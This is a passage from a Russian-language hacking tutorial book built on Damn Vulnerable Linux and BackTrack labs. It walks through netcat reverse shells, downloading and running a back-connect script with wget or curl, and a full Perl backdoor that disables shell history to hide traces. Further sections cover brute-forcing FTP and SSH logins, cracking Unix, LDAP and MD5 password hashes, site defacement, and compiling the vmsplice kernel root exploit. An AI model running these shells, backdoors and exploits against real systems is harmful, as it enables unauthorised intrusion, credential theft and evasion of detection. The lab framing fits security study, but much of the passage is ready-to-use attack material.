программа. является использование утилиты netcat (запускается командой nc). Затем хакер должен запустить netcat на удаленном узле: nc -e /bin/sh IP_хакера 25 Эта команда осуществляет обратное соединение (back connect) с компьютером хакера. Можно использовать любой другой свободный номер порта.0. у нас команда будет выглядеть так: nc -e /bin/sh 127. на который будет осуществляться соединение извне. созданный в главе 05. имея в распоряжении веб-шелл. но в имеющемся у нас дистрибутиве DVL с этим все в порядке. Самым простым и надежным способом.

Во второй консоли наберите команду su nobody Затем нажмите клавишу Enter. 0А. Это значит.1. Эта команда позволяет переключиться с пользователя root на пользователя nobody. Но чтобы хотя бы посмотреть. 89 . можно запустить оба экземпляра netcat через консоль.1.0. в строке браузера хакер должен ввести команду nc+-e+/bin/sh+127. обратное соединение с помощью браузера на нашей системе невозможно. чтобы все выглядело.Получение полноценного доступа к шеллу 89 выполняться на удаленной системе. Консоль запускается щелчком на значке с черным монитором (второй слева на нижней командной панели). Рис.. как показано на рис. как работает обратное соединение. 0А.0. чтобы запустить netcat на удаленной системе. Итак. на виртуальной машине с Damn Vulnerable Linux запустите два окна консоли. что netcat ждет входящего соединения на порт 25. Получение шелла с помощью утилиты netcat и удаленное выполнение команд Теперь в первой консоли наберите команду nc -l -n -vv -p 25 После нажатия клавиши Enter должно появиться сообщение listening on [any] 25 . В нашем случае..1+25 К сожалению. Это сделано для того.

В нашем случае команда будет примерно такой: /tmp/bc. а в первой консоли вы — пользователь root.ru/backconnect. хакер нашел такой бэк-коннект шелл и поместил на своей страничке mypage на сайте Народ.pl Далее запустите его на выполнение.0.0. чтобы оттуда ее можно было копировать на целевой компьютер. осуществляющую обратное соединение.ru/backconnect. просто указав имя файла /tmp/bc. в отличие от Windows. В качестве альтернативы можно загрузить файл с помощью команды curl или ftp. Получение полноценного доступа к шеллу как в реальной жизни. Но что делать. (Ни в коем случае так не делайте.0. даже если загружаете файл оттуда на свой локальный компьютер!) Тогда. так как в *nix-системах. чтобы загрузить его на целевой компьютер.pl http://mypage. В случае curl команда будет выглядеть так: curl -o /tmp/bc.1] from (UNKNOWN) [127.1 25 После нажатия клавиши Enter переключитесь на первую консоль. что вы подключились ко второй консоли. Далее наберите в первой консоли команду id и еще раз убедитесь.0. такая программка называется бэк-коннект шелл (back connect shell). с которым нужно соединиться.narod.narod. В нашем примере файл будет загружен в каталог /tmp под именем bc.pl 127. а найти ее можно через Google.1] Это означает.0.0. При этом в первой консоли должно появиться сообщение о внешнем подключении: connect to [127. если на компьютере-жертве нет утилиты netcat или она не позволяет использовать параметр -e? Тогда можно «залить» в доступный для записи каталог на удаленном компьютере небольшую хакерскую программу. регистры букв в командах различаются). он может использовать команду wget со следующими опциями: wget -O /tmp/bc.pl http://mypage. потому что идентификатор пользователя здесь nobody.txt После загрузки не забудьте выполнить следующую команду. либо самому поместить ее на своей страничке в Интернете. ведь мы пока что получили доступ к удаленной системе только в качестве пользователя nobody. Также можете выполнить команду uname -a или любую другую команду.90 0A.txt Опция -O позволяет указать после нее имя выводимого файла (обязательно набирайте букву O в верхнем регистре. Теперь во второй консоли запустите программу netcat: nc -e /bin/sh 127.pl. Для реальной работы хакеру надо найти адрес в Интернете. Предположим. где эта программа уже лежит в виде текстового файла (в чистом виде).txt.0.0. чтобы сделать этот файл исполняемым: chmod 755 /tmp/bc. введя запрос back connect shell download. и номер порта.1 25 90 .pl и аргументы: IP-адрес компьютера хакера. что утилита netcat со второй консоли (в реальной жизни — со взламываемого компьютера) подключилась к netcat с первой консоли (в реальной жизни — консоли на компьютере хакера).ру в виде текстового файла backconnect. Для завершения соединения с компьютером-жертвой выполните команду exit либо просто нажмите клавиши Ctrl+C.

com/showthread.Получение полноценного доступа к шеллу 91 Я уже нашел в Интернете неплохой бэк-коннект шелл на языке Perl. open(STDIN. $system = '/bin/bash'. то выполнять эту команду не нужно. если вы его открыли заново.pl 127. SOCKET->autoflush(). system($system). if ($ARGC!=2) { print "Usage: $0 [Host] [Port] \n\n".">&SOCKET"). use FileHandle.1 2121 \n". inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n". print "[*] Spawning Shell \n". print "IHS BACK-CONNECT BACKDOOR \n\n". open(STDOUT. open(STDERR. снова выполните команду su nobody. ">&SOCKET").. PF_INET. $ARGV[0] \n".pl В первом окне консоли введите.">&SOCKET").. команду (после чего не забудьте нажать клавишу Enter): nc -l -n -vv -p 25 Во второй консоли запустите наш шелл: /tmp/bc. system("unset HISTFILE. создайте новый файл. Если вы его не закрывали. $ARGC=@ARGV.echo --==Directory==--.pl. что и в предыдущем примере.echo --==Systeminfo==--. Используем те же два окна консоли. pwd. SOCK_STREAM. вставьте туда содержимое буфера обмена (текст нашего шелла) и сохраните файл в каталоге /tmp под именем bc. #EOF Далее откройте редактор Kate. uname -a. print "IHS BACK-CONNECT BACKDOOR\n\n".0. echo --==Shell==-"). Для этого перейдите на адрес http:// otaku-studios. Во втором окне.0. getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n". sockaddr_in($ARGV[1].php/72978-Perl-Backconnect и скопируйте текст программы в буфер обмена. } use Socket. так что загрузим его в свой компьютер напрямую. die "Ex: $0 127. connect(SOCKET. print "[*] Connected to remote host \n". print "[*] Connecting. socket(SOCKET. echo --==Userinfo==--. unset SAVEHIST.0.0. id.echo. Затем там же выполните такую команду: chmod 755 /tmp/bc. print "[*] Resolving HostName\n". На всякий случай приведу его здесь полностью: #!/usr/bin/perl use IO::Socket.1 25 91 . как и в прошлый раз.echo.echo.

И в самом деле. Получение полноценного доступа к шеллу Рис. подобные той.2). Настоящие хакеры всегда вводят их перед началом каждого сеанса работы в чужой системе. Этот бит не позволяет прочим пользователям 92 . Данные команды препятствуют сохранению истории вводимых вами команд в файле . 0А. Как видим. Далее вы можете вводить команды сами. Иногда каталогу /tmp назначают так называемый sticky-бит.92 0A. при запуске бэк-коннект шелл автоматически выполняет три хакерские команды (uname -a. как хакер может получить доступ с логином и паролем легального пользователя. чтобы оставлять поменьше следов. называются еще бэкдорами (backdoor — задняя дверь. введя логин и пароль. мы проникаем в систему не как нормальный пользователь.2. id и pwd) и выводит результат их выполнения. Получение шелла с помощью программы IHS Back-Connect Переключитесь на первую консоль и наблюдайте результат (рис. а как бы с черного хода. Но на самом деле перед этим выполняется еще пара команд: unset HISTFILE unset SAVEHIST Это можно видеть в исходном тексте программы. которую вы только что использовали. 0А. Программы. черный ход. что выглядит как drwxrwxrwt в листинге каталога.bash_history. лазейка). Но в следующих главах мы рассмотрим.

file. Тогда для загрузки бэк-коннект шелла (или эксплойтов для получения прав root) нужно использовать другой каталог. 93 . у которого установлены права drwxrwxrwx. Такие каталоги можно найти командой find: find / -type d –perm -0777 –print > /tmp/.Получение полноценного доступа к шеллу 93 удалять файлы.file & Указанная команда найдет все подходящие каталоги и сохранит их список в файле /tmp/.

можно будет просто проверить наиболее важные номера портов. В Linux для этой цели можно использовать команду nc. Правда. подключаясь к ним с помощью программы PuTTY (рис. но на самом деле нужен реальный адрес. Чтобы с помощью программы PuTTY подключиться к порту SSH.. находим и загружаем из Интернета программу Brutus AET 2 (http://www. Таким образом. Brutus не позволяет работать с протоколом SSH. Если пользователей в системе много (сотни или даже тысячи). потому что по статистике примерно 1–3% из них имеют пароли. Такие программы (переборщики паролей) называют еще брутфорсерами (brute force — метод грубой силы). нужно набрать имя хоста или IP-адрес (Host name (or IP-address)) — в нашем примере указан адрес www. 110 (POP3 — получение почты).. Следует для начала проверить порты 21 (FTP — скачивание и закачивание файлов). Для начала на основе файла /etc/passwd нужно подготовить вручную или с помощью простой программки (которую можно написать самому или взять в Интернете) текстовый файл со списком пользователей и их паролей (в исходном варианте совпадающих с именами пользователей) вида user1:user1 user2:user2 . нужно найти и загрузить программу-клиент PuTTY (под Windows).site. Программа PuTTY позволяет подключаться к различным портам удаленной системы по разным протоколам.net/brutus). Порт оставляем по 94 . 23 (telnet). Сейчас мы научимся применять программы.hoobie. содержащего имена пользователей системы (логины). совпадающие с именами пользователей. но для этого случая у нас есть программа BruteSSH в Linux Back Track 4. вместо того чтобы сканировать порты удаленной системы. Кроме того. 0B. что нам повезет.com. осуществляющие подбор паролей к удаленным ресурсам. userN:userN Далее переключаемся из виртуальной машины в Windows. 22 (SSH — удаленный доступ к командной строке по протоколу SSH). есть шанс. совпадающие с логином.0B Удаленный подбор паролей Мы не зря в главе 02 рассказывали о способах получения содержимого файла /etc/passwd. Первым делом мы можем проверить пароли.1).

Допустим. 25. В зависимости от того. потому что этот порт на вашем компьютере закрыт. удастся. если в открывшемся окне терминала появится какой-то текст с приглашением системы. доступ по протоколу SSH разрешен. В противном случае появится окно с сообщением об ошибке. Если на нем появится приглашение типа login as:.1. порт открыт. Пароль пользователя root подобрать таким образом не получится. значит. После щелчка на кнопке Open (Открыть) открывается экран терминала. Разумеется. какие порты открыты на исследуемой системе. Тип соединения (Connection type) также оставляем по умолчанию — SSH. и не только из-за того. Далее остается щелкнуть на кнопке Open.2). значит. открыт порт 21 (FTP). Для начала выбираем в списке Pass Mode (Режим пароля) вариант Combo List и в поле Combo File указываем имя нашего файла с парами вида логин:пароль.1. Для пробы можете подключиться к своему компьютеру по адресу 127. набираем соответствующий номер в поле Port. что он сложный. а просто потому. 110. а окно терминала закроется. Пример такого файла поставляется с программой 95 .0. что удаленный вход пользователя root по протоколу FTP в современных системах запрещен.0. Стартовое окно программы PuTTY умолчанию (22). Чтобы вручную подсоединиться к портам 21. В этом случае выбираем вариант FTP.Удаленный подбор паролей 95 Рис. 0B. Теперь настает черед программы Brutus (рис. 0B. Зато пароли простых пользователей найти. Аналогично предыдущему случаю. система выдаст сообщение об ошибке. возможно. выбираем тип протокола (Type). а в группе Connection type устанавливаем переключатель Raw.

Есть и словари для различных языков (английский. слова. к которым они подошли) появятся внизу в таблице Positive Authentication Results (Положительные результаты аутентификации). Главное окно программы Brutus Если программа ничего не найдет. можно попробовать перебор по словарю. логины. компьютерами.). или уже упоминавшийся список женских имен).txt. Есть словари тематические (например. Для перебора по словарю надо подготовить два файла — файл с именами пользователей и файл с паролями (словарь паролей). Программа запустится. и в случае успеха найденные пароли (и. арабский и т. русский. С Brutus поставляется небольшой словарь паролей — words. Как минимум один из этих 200 паролей оказывался правильным на каждой из проверяемых машин. немецкий. 0B.2. Более объемные словари можно найти в Интернете или позаимствовать у других программ-переборщиков. связанные с кино.txt. После всех приготовлений щелкаем на кнопке Start. конечно. В качестве небольшого отступления приведу результаты исследования Морриса и Грамппа (Morris and Grampp). Рис. используя в качестве пробных паролей подборку из 20 наиболее распространенных женских имен и добавляя после имени по одной цифре. в поле Target надо указать адрес исследуемого хоста. п. французский. Разумеется. После этого достаточно 96 . Общее количество пробуемых паролей составляло 200. Удаленный подбор паролей Brutus под именем example-combo. Эти авторы проверили несколько десятков машин.96 0B.

соответственно. как показано на рис.txt. На вкладке Main нашего FTP-сервера отлично видно.3. достаточно запустить исполняемый файл ftpserv. но я все проделал с англоязычным интерфейсом. как программа Brutus подбирала пароли (рис.mydiv. Кстати. 0B. Так что активность хакера в реальной жизни не останется незамеченной. Мой выбор пал на сервер TYPSoft FTP Server. выбрав в меню команду SetupFTP. Сервер не требует установки. Чтобы опробовать программу Brutus на локальном компьютере.4. В нижней части рисунка показан результат положительной аутентификации по протоколу FTP (пароль найден).Удаленный подбор паролей 97 в списке Pass Mode выбрать вариант Word List. которые легко восстановить средствами. 97 . взяв за основу имеющийся там файл example-combo. а в полях User File и Pass File указать. Командой SetupUsers (НастройкиПользователи) я создал пользователя midnight с паролем 12345 (рис.html. и запустил ее щелчком на кнопке Start.ini среди прочей информации о пользователях и md5-хэши их паролей. файл с логинами и файл словаря. 0B. Далее я настроил программу Brutus. Найти его можно по адресу http://soft. Рис. TYPSoft FTP Server хранит в файле users. 0B.5). и внес в него нового пользователя с паролем (midnight:12345). нам нужно установить и запустить любой бесплатный FTP-сервер под Windows.net/ win/files-TYPSoft-FTP-Server. exe. Создание нового пользователя в TYPSoft FTP Server После этого в каталоге с программой Brutus я создал файл combo. Кстати. описанными в следующей главе.txt. можно задать русский язык интерфейса (Language — russian).3). 0B.

Удаленный подбор паролей Рис. 0B. Пароль найден! Рис.5.txt. 0B. Подбор паролей по списку combo. Главное окно TYPSoft FTP Server с информацией о попытках входа 98 .98 0B.4.

Как мы уже вскользь отмечали в начале книги. Надо только убедиться. не стоит рисковать своей репутацией и карьерой ради нескольких минут сомнительного удовольствия. а вместо него с компьютера хакера подгружается новый файл index. 0B. подбор пароля можно проводить через него — Brutus это тоже позволяет. я вас уверяю. хотя о том. знать вам все же необходимо. В ответ на приглашение FTP-сервера можно вводить имя пользователя. При этом файл index. порт 21 и в качестве типа соединения (Connection type) выбрать вариант Raw.6). то хакер может заходить на него по протоколу SSH (с именем пользователя и найденным паролем). Для этого можно использовать любую клиентскую программу. Через Total Commander можно копировать к себе файлы с сервера (и потом просматривать их на своем компьютере) или загружать свои файлы на сервер. что в консоли этот пользователь работать не сможет). что такое дефейс и как он проводится. так и команду ssh (в Linux). хотя перебор по POP3 может идти несколько медленнее. использовав программу Total Commander и указав имя сайта. чем по FTP. Для этого можно использовать как программу PuTTY (в Windows). что в файле /etc/passwd у пользователя прописан нормальный шелл типа /bin/bash или /bin/sh. Если же порт 21 (FTP) закрыт. а открыт порт 110 (POP3 — получение почты). который обычно содержит какую-нибудь забавную картинку и информацию о том. что данный сайт взломан.old.php переименовывается в index. Также мы можем зайти на наш компьютер по протоколу FTP с помощью программы PuTTY. Подключение к локальному FTP-серверу с помощью программы PuTTY Если на взломанном сервере открыт порт 22. Например. хакер может входить в систему под видом легального пользователя и выполнять команды в консоли.html или index. а не какой-нибудь /sbin/nologin или / bin/false (фиктивный шелл — это признак того. Таким образом.html .6. можно зайти на сервер. 99 . поддерживающую FTP-соединение. Рис. пароль и команды (рис. Таким способом начинающие хакеры проводят дефейс сайтов.Удаленный подбор паролей 99 Теперь можно заходить на сайт по протоколу FTP. Для этого нужно указать адрес localhost. дефейс (deface — лишить лица) — это изменение хакером главной страницы сайта. имя пользователя и пароль. Тем не менее. 0B.

7. командой startx запустите оконный интерфейс. достаточно четырехпяти. Диалоговое окно настройки прокси-сервера в программе Brutus Теперь рассмотрим простую программу BruteSSH. ниже их также следует ввести. С помощью текстового редактора создайте файл. Если прокси-сервер требует ввода имени пользователя и пароля. Пусть среди них обязательно будет пароль toor.7). Для включения этого режима нужно установить флажок Use Proxy и после щелчка на кнопке Define в появившемся диалоговом окне ввести тип и адрес прокси-сервера. в их числе такие известные брутфорсеры.0. есть программа Xhydra (HydraGTK) с графическим интерфейсом. В консоли запустите сеть: /etc/init. кому сложно разобраться с интерфейсом командной строки. Запустите виртуальную машину с Back Track 4 и войдите как пользователь root с паролем toor. Для тех./brutessh. позволяют работать с множеством других протоколов. в каждой строчке которого будет по одному паролю. Много паролей вводить не надо. Эти программы. Сохраните файл в каталоге /pentest/passwords/brutessh под именем aa.d/networking start Когда сетевая служба стартует. 0B. а также номер его порта (рис. как Hydra и Medusa. как показано на рис. которая позволяет удаленно подобрать пароль конкретного пользователя по протоколу SSH. 0B. Удаленный подбор паролей Brutus поддерживает работу через прокси-сервер.8.txt. После этого запустите программу следующей командой: .1 -u root -d aa. программа найдет пароль пользователя root. Появится окно консоли с подсказкой по использованию программы.100 0B. Программа Hydra может 100 .txt Если вы все сделали правильно. Всего в дистрибутиве Back Track 4 содержится 9 программ для удаленного взлома паролей.0. Рис.py -h 127. Через главное меню командой BackTrackPrivilege EscalationPasswordAttacsOnlineAttacsBruteSSH запустите программу BruteSSH. помимо SSH. 0B.

0B. В следующей главе мы рассмотрим тему локального взлома паролей.8.9. Удаленный подбор пароля с помощью программы Medusa работать не только с одной целью. но и со списком целей. 0B.Удаленный подбор паролей 101 Рис. Удаленный подбор пароля с помощью программы BruteSSH Рис. Пример работы программы Medusa приведен на рис.9. 0B. Существует также ее версия для Windows. 101 .

в том числе пользователя root.openwall. У нас она есть в дистрибутиве Back Track 4. Делается это следующим образом: unshadow файл-passwd файл-shadow > результирующий-файл Результат выглядит примерно так: root: JhAraBYwfjR3. но потом портирована и для Windows. Хакеры ласково именуют ее «джоником». некоторые администраторы копируют файл /etc/shadow . прежде чем вносить в него изменения. для некоторых систем существуют эксплойты. с помощью соответствующего эксплойта хакер может получить права суперпользователя (и доступ к просмотру всех файлов) и узнать пароли законных пользователей. и таким способом хакер сможет просмотреть файл /etc/shadow.com — POP:/home/mac:/bin/sh pincher:ySb4B8nseVzEo:11002:11002:Pitch:/home/pincher:/bin/sh luis:O04IBHwrKKVEA:11003:11003:thisserver. и по ошибке предоставляют общий доступ на чтение к копии файла. в котором звездочки или крестики будут заменены хэшами паролей. В-третьих. Первым делом рекомендуется с помощью утилиты unshadow объединить файлы /etc/passwd и /etc/shadow. а версию под Windows можно бесплатно скачать с сайта разработчика. Программа JTR (John The Ripper — Джон-Потрошитель) была первоначально написана для Unix-подобных систем.0C Локальный взлом паролей Взлом хэшей паролей *nix-систем Классическим инструментом взлома хэшей паролей в Unix является программа John The Ripper (www.com — POP:/home/luis:/bin/sh Если результирующий файл вы назвали passwd. иногда (например. то для взлома достаточно выполнить команду (в Windows вместо john используйте команду john-mmx) john passwd 102 . Получится файл на базе /etc/passwd. в PC-Linux) хэши паролей содержатся в файле /etc/passwd. к которому доступ на чтение есть у каждого. Как хэши паролей могут попасть в руки хакеру? Во-первых.com). позволяющие менять групповую принадлежность любого файла.:0:0:root:/:/bin/bash mac:GGCfyAEua5zUc:11001:11001:service-myserver. Во-вторых. В-четвертых.

txt содержит упомянутую информацию о пользователях. телефон.rec (по умолчанию). реальное имя и фамилию.txt Здесь alnum — имя набора символов (буквы и цифры). Это только азы. различных цифр. который можно просто просмотреть в текстовом редакторе. «s».Взлом хэшей паролей *nix-систем 103 Работу по взлому паролей можно прервать.txt Для перебора не только словарных слов. Текущая сессия при этом сохранится в файл john. применяя доступную дополнительную информацию из файла /etc/passwd: логин. Если в нашем словаре есть имя richard.lst users. нажав клавиши Ctrl+C. Команда для запуска программы john в этом режиме выглядит так: john --single users. В этом режиме программа пытается подобрать пароль для каждого пользователя. Кроме того. а сейчас мы выясним. но и различных их вариаций. запустите команду john --show passwd Программа хранит все взломанные хэши и пароли в файле john. Это наиболее быстрый по времени исполнения режим. то отыщется и пароль пользователя luis.pot. используйте опцию --rules: john --rules --wordlist=password. но и вероятность найти пароль тоже увеличится. как применяются различные нетривиальные возможности программы. Чтобы возобновить прерванную сессию. они часто используются в качестве пароля как мужчинами. 103 . используйте команду john --restore Чтобы посмотреть уже взломанные пароли. При этом применяются некоторые преобразования. может помочь словарь данного языка. Также некоторые буквы в пароле заменяются сходными по написанию цифрами. например.txt Время работы программы в этом случае увеличится в несколько раз.txt Здесь файл users. Также она сохраняется в этом файле через каждые 10 минут работы программы. Я очень рекомендую вам найти в Интернете словарь женских имен. Если нет. Сначала следует попробовать запустить программу john в режиме single (одиночный).lst. Далее можно запустить перебор по словарю. В нашем случае должен отыскаться пароль пользователя pincher — pitched. то не расстраивайтесь — можно задействовать наиболее мощный режим программы — полный перебор: john --incremental:alnum users. так и женщинами.lst users. в качестве пароля пробуется логин пользователя. если вам известна национальная принадлежность пользователя. С программой поставляется небольшой словарь наиболее употребительных паролей: password. записанный справа налево или с добавлением суффиксов типа «ed». Если оно не указано (то есть написано просто --incremental) или задана опция all (--incremental:all). Командная строка выглядит так: john --wordlist=password.

] Заставляет программу загружать (или не загружать) информацию о пользователях только из указанных групп. в случае применения алгоритма BlowFish хэши начинаются с символов $2... --shells=[-]SHELL[. Такие хэши более длинные и всегда начинаются с символов $1. в ОС Solaris (и SunOS)... Еще несколько полезных опций для выбора пользователей. Иногда в Linux используются и другие алгоритмы хэширования. реализующих этот алгоритм.104 0C. Программа JTR называет их FreeBSD MD5 hash. Программа John The Ripper автоматически распознает алгоритм хэширования и сообщает его пользователю. что максимальная 104 .] Заставляет программу загружать пользователей с указанным шеллом [без указанного шелла (шеллов)]. --users=[-]LOGIN|UID[.] Позволяет выбрать всего несколько пользователей для взлома паролей или других действий. С точки зрения безопасности преимущество хэшей FreeBSD MD5 перед традиционными заключается в том. что они вычисляются более длительное время.. Из-за этого скорость перебора паролей в JTR намного нижн (на моей системе составляет порядка 3500 сравнений в секунду). так они будут найдены намного быстрее. --groups=[-]GID[. Если в одном файле паролей задействованы разные алгоритмы хэширования для разных пользователей. В реальной жизни имеет смысл вначале попробовать только цифры (digits). Локальный взлом паролей то перебор идет по всем возможным символам. В Ubuntu Linux (Back Track 4) поддерживается новый алгоритм хэширования SHA-512. то взламывать их пароли надо поочередно (John может одновременно взламывать только один тип хэшей). В нашем примере по истечении некоторого времени работы программа отыщет пароль пользователя mac — titanic. Первые 2 символа называются salt (соль). применяя в качестве ключа пароль пользователя. поэтому реальный взлом паролей сильно затруднен. и John его не распознает. Из известных мне современных систем такие хэши используются. В системах с открытым исходным кодом (таких как Linux и FreeBSD) алгоритм DES задействовать нельзя. потом только буквы (alpha). В нашем примере использовались традиционные хэши Unix (зашифрованные алгоритмом DES). Поэтому в FreeBSD и Linux применяется алгоритм MD5. Другое преимущество MD5 заключается в том. Например. например.. потому что правительство США установило ограничение на вывоз исходных кодов программ. Именно их и зашифровывают. где хэши начинаются с символов $6. Во всех случаях знак минус (-) впереди служит для исключения указанных пользователей (выбираются все оставшиеся). Если пароли состоят только из цифр или только из букв. включая спецсимволы и пробел.

что. Таким образом. 105 продолжение  . а колеблется. С помощью стандартной утилиты эту информацию можно извлечь в текстовый файл. если достаточно длинный и сложный Linux-пароль менять раз в 3 месяца. Хэши *nix-паролей в нем дополнительно кодированы алгоритмом base64. $cn. пока хакер будет взламывать с трудом добытый хэш. в John реализован «хитрый» алгоритм перебора паролей. то. состоящие из реже встречающихся символов.openwall. Интересно также. Помимо *nix-хэшей программа JTR умеет «ломать» хэши паролей в системах MySQL. длина пароля не наращивается последовательно. Также следует периодически менять пароли. my( $uid. д. $dn). в отличие от большинства программ-взломщиков. пароль уже успеет устареть. то есть могут сначала проверяться 8-символьные пароли. цифры и специальные символы. Особенности взлома LDAP-паролей Протокол LDAP иногда используется в *nix-системах. MS SQL. Oracle и т.Особенности взлома LDAP-паролей 105 длина пароля составляет 15 символов. $passw. Так что для приведения их в нормальный вид нужно использовать программу ldap2pw с официального сайта производителей программы John The Ripper (http://www. Программа JTR отлично справляется со взломом традиционных Unix-хэшей. когда наиболее вероятные с точки зрения английского языка комбинации символов проверяются в первую очередь. особенно пароль суперпользователя. — всего порядка 40 различных видов хэшей.com/lists/john-users/2008/02/11/1). while( <> && ! eof) { # need eof since we will hit eof on the other <> chomp. а собственную версию. Например. Какие выводы можно сделать в плане собственной безопасности? Следует использовать длинные пароли (у меня длина пароля почтового ящика составляет 15–20 символов) и никогда не использовать чисто цифровые пароли. в то время как в случае традиционного Unix-пароля — всего 8 символов. Программа это небольшая. use MIME::Base64. потому что использует не стандартный алгоритм DES. а потом 4-символьные. значительно оптимизированную по скорости. Пароль не должен быть словарным словом или его простой модификацией. Он должен содержать вперемешку буквы верхнего и нижнего регистров. При этом только информация о пользователе root и системных пользователях хранится в стандартных файлах /etc/paaswd и /etc/shadow. так что приведу ее текст полностью: #! /usr/biun/perl -w use strict. информация же о «простых» пользователях хранится в базе данных LDAP.

Программа была и остается бесплатной. } elsif( /^dn: (.1). Взлом MD5-хэшей Еще несколько лет назад. } } print "$uid\:$passw\:\:\:$cn\n" if defined $passw.by/ru/md5). Локальный взлом паролей $cn = $uid = ''. Сейчас компания InsidePro выпустила программу PasswordsPro.14. net. while( <> ) { # get an object chomp. позволяющую взламывать различные типы хэшей. Гордый титул самого быстрого в мире крэкера MD5хэшей (World Fastest MD5 Cracker) носит программа Михаила Сварычевского BarsWF (http://3. last if /^\s*$/.+)/) { $passw= substr( decode_base64($1). Эта программа запускается только из командной строки. но сейчас ее поддержка прекращена.pw: ldapsearch -D "<dn for root>" -w xxxxxx -b "<base dn for users>" "" userpassword uid cn | ldap2pw > ldap.pw Затем следует «скормить» файл ldap. } elsif( /^userP\w+:: (.+)/ ) { $dn = $1.+)/ ) { $cn = $1. Настоящим прорывом в деле «взлома» хэшей стало использование вычислительных возможностей современных видеокарт (технология CUDA). При этом видеокарта может параллельно выполнять множество однотипных математических операций.106 0C. а ее вывод перенаправить в программу ldap2pw. наилучшим инструментом под Windows для массового и быстрого взлома MD5-хэшей была программа MD5Inside.pw программе John.openwall. Поддержка многопоточности реализована в бесплатной программе MDCrack (21 алгоритм хэширования). 7). По тем временам она показывала чудеса производительности — более 4 млн хэшей в секунду. У меня с видеокартой GeForce GT220 программа 106 . # assuming {crypt} } elsif( /^uid: (. # object have blank lines between then if( /^cn: (. но эта программа является платной. пожалуй. 0C. которая сохранит пароли в файл ldap.+)/) { $uid = $1. # only output if object has password } Следует войти в исследуемую систему от имени пользователя root и запустить программу ldap search. разработанная компанией InsidePro (рис. но ее по-прежнему можно найти в Интернете. Ее теперь нет на официальном сайте производителя. скачать ее можно с адреса http://mdcrack.

Рис.2.com/index. плюс на двух ядрах процессора — 35–38 миллионов в секунду. 0C.1.php?lang=rus). Для ее запуска 107 . 0C.insidepro. 0C.Взлом MD5-хэшей 107 Рис.2). если этого хэша нет среди имеющихся в Интернете баз данных наподобие http://hash. Программа MD5Inside от Inside Pro генерирует 153–155 миллионов хэшей в секунду. если нужно взломать один хэш пароля в кратчайшее время (например. Программа BarsWF в работе Программа BarsWF идеальна. Общая производительность составляет в среднем 183–184 миллиона хэшей в секунду (рис.

После запуска такого сценария в фоновом режиме (для этого в конце команды указывается символ &) хакеру остается ждать. Чтобы противодействовать такому перебору паролей. На мой взгляд. Если хакер работает с правами nobody. Единственный недостаток таких таблиц — большие требования к месту на диске.108 0C. такой вариант почти безнадежен. реализующий брутфорс посредством команды su. Иногда хакеру приходится проводить локальный подбор пароля на том компьютере. Надо установить expect на взламываемой машине (что без прав суперпользователя само по себе непростая задача). что иных возможностей просто нет. то проблема заключается в отсутствии псевдотерминала. в сценарии которого включена поддержка псевдотерминала. например: barswf_cuda_x32 -h 1b0e9fd3086d9a159a1d6cb86f11b4ca –c 0aA~ Остальные опции программы являются необязательными. на многих современных системах добавлена временная задержка на выполнение команды su. Готовые таблицы и работающие с ними программы можно бесплатно загрузить из Интернета. на котором он хочет получить права root. пока в выходном файле не окажется правильного пароля. 108 . Локальный взлом паролей достаточно задать командную строку с хэшем пароля и набором используемых символов.exp. а затем написать сценарий bruteforce. Бывалые хакеры рекомендуют задействовать интерпретатор expect. но бывает. Можно написать скрипт с использованием команды ssh –T или su. Популярны сейчас таблицы Rainbow Tables («Радужные таблицы») для подбора не только MD5-хэшей. но и некоторых других.

Fedora или Red Hat) обычно не имеет значения. или «privilege elevation» (эскалация. и интересующего нас эксплойта в нем нет. работающие с ядром (kernel) системы. не имеющие достаточных знаний о языках программирования. По-английски это называется «privilege escalation». по типам (локальные — каталог local или удаленные — каталог remote). В этом каталоге разрешен доступ на запись всем пользователям. как показано на рис. привилегий).6. Откройте окно консоли и переключитесь на непривилегированного пользователя nobody (командой su nobody). Значит. Для дальнейшей работы мы используем эксплойт с сайта exploit-db.6 Local Privilege Escalation». Их надо подбирать под конкретную версию ядра.0D Повышение привилегий При наличии доступа к шеллу на компьютере с *nix-системой каждый уважающий себя хакер попытается повысить свои привилегии до уровня суперпользователя (root). при этом брэнд производителя Linux (например. Сайт exploit-db. на момент написания данной главы закрылся. в то время как на других сайтах они могут быть умышленно подпорченными. нам надо искать эксплойт для данной версии. но он датирован 2007 годом.com хорош тем. чтобы начинающие хакеры. не могли их использовать. Командой uname -a выведите сведения о машине. Этот эксплойт может также называться «Linux kernel 2. операционная система Linux имеет версию ядра 2. Мы рассмотрим повышение привилегий на примере системы Damn Vulnerable Linux.com. что на нем можно найти работающие версии эксплойтов. В Damn Vulnerable Linux в каталоге /pentest/exploits/milw0rm имеется целый архив эксплойтов с сайта Milw0rm. Широко известный хакерский сайт Milw0rm. В Linux чаще всего применяются эксплойты. 0D. com имеют ту же нумерацию.6 локальный эксплойт для получения прав root). где можно было найти множество эксплойтов. Эксплойты на сайте exploit-db. Для повышения привилегий требуется эксплойт. или повышение. Как видите.20. Ubuntu. Ищем в Google по словам «Linux kernel 2. что была на сайте Milw0rm. а также по номерам портов. эксплуатирующий (использующий) какую-либо известную уязвимость. используемых данной службой (каталог ports). после чего перейдите в каталог /tmp (командой cd /tmp). Эксплойты в архиве распределены по платформам (каталог platforms).1. 109 .6 local root exploit» (Линукс ядро 2.

рис./ex) становится понятно.com/download/5092 Внимательно читаем пояснения к эксплойту. Написан эксплойт в 2008 году неким хакером по кличке qaaz.c. После запуска нашего эксплойта (командой .1 vmsplice Local Root Exploit (он расположен по адресу www. В Linux стандартным компилятором языка C является gcc (GNU C Compiler).24. что он успешно отработал: знак $ в приглашении системы сменяется 110 . 0D.17 — 2. иногда к ней добавляются другие опции. как в реальной жизни.6. либо. Имя входного файла (ex. Часто эксплойты ядра (kernel exploits) требуют компиляции с опцией -static.com/exploits/5092/). Локальное повышение привилегий при помощи эксплойта vmsplice от qaaz Среди всех эксплойтов на данном сайте находим подходящий — это Linux kernel 2.6.1. 0D. так что можно заменить его более коротким.110 0D. Повышение привилегий Рис. exploit-db.exploit-db.c понятно. Изредка используется другой компилятор — cc (C Compiler). Как видите (см. никаких предупреждений (warning) и сообщений об ошибках (error) не появилось. загрузить эксплойт прямо с сайта следующей командой консоли: wget -O /tmp/ex.c Здесь после опции -o указывается имя выходного файла (у нас — ex). В нашем случае давайте просто откомпилируем эксплойт с указанными опциями: gcc -static -W -n -o ex ex. По расширению файла .c) указывается в конце. На данном этапе можно либо перенести текст эксплойта в редактор Kate и сохранить его в каталоге /tmp под именем ex. компиляция прошла 